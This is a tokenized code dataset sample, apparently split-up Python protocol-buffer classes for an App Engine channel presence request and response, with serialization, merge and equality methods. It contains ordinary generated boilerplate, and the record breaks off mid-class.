"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "18_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tt_", "==_", "10_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "applica", "tion", "\\u", "key_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "18_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "tag_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "e_", "in_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elm_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "print", "Ele", "m", "Number_", ":_", "elm_", "=_", "\"(", "%", "d", ")\"_", "%_", "cnt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "applica", "tion", "\\u", "key", "%", "s", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "elm_", ",_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "e_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "tag", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "applica", "tion", "\\u", "key", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "avail", "able", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "error", "\\u", "code", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error", "\\u", "code", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\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NL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kap", "pli", "cation", "\\u", "key_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kis", "\\u", "available_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ker", "ror", "\\u", "code_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "\"", "applica", "tion", "\\u", "key", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "\"", "is", "\\u", "avail", "able", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "\"", "error", "\\u", "code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "is", "\\u", "available_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "is", "\\u", "available_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "is", "\\u", "available_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "is", "\\u", "available_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "error", "\\u", "code_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "error", "\\u", "code", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "error", "\\u", "code_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "error", "\\u", "code", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "error", "\\u", "code_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "error", "\\u", "code", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "error", "\\u", "code_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "applica", "tion", "\\u", "key_", "(_", "x_", "._", "applica", "tion", "\\u", "key_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "is", "\\u", "available_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "is", "\\u", "available_", "(_", "x_", "._", "is", "\\u", "available_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "error", "\\u", "code_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "error", "\\u", "code_", "(_", "x_", "._", "error", "\\u", "code_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "!=_", "x_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "and_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "!=_", "x_", "._", "applica", "tion", "\\u", "key", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", "!=_", "x_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", "and_", "self_", "._", "is", "\\u", "avail", "able", "\\u_", "!=_", "x_", "._", "is", "\\u", "avail", "able", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", "!=_", "x_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", "and_", "self_", "._", "error", "\\u", "code", "\\u_", "!=_", "x_", "._", "error", "\\u", "code", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug", "\\u", "strs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug", "\\u", "strs_", "._", "append_", "(_", "'", "Requ", "ired", " ", "field", ":", " ", "applica", "tion", "\\u", "key", " ", "not", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug", "\\u", "strs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug", "\\u", "strs_", "._", "append_", "(_", "'", "Requ", "ired", " ", "field", ":", " ", "is", "\\u", "avail", "able", " ", "not", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug", "\\u", "strs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug", "\\u", "strs_", "._", "append_", "(_", "'", "Requ", "ired", " ", "field", ":", " ", "error", "\\u", "code", " ", "not", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "Var", "Int64", "_", "(_", "self_", "._", "error", "\\u", "code", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "+_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", "Result_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "is", "\\u", "avail", "able", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "error", "\\u", "code", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "Var", "Int64", "_", "(_", "self_", "._", "error", "\\u", "code", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Chan", "nel", "Presence", "Respons", "e\\u", "Query", 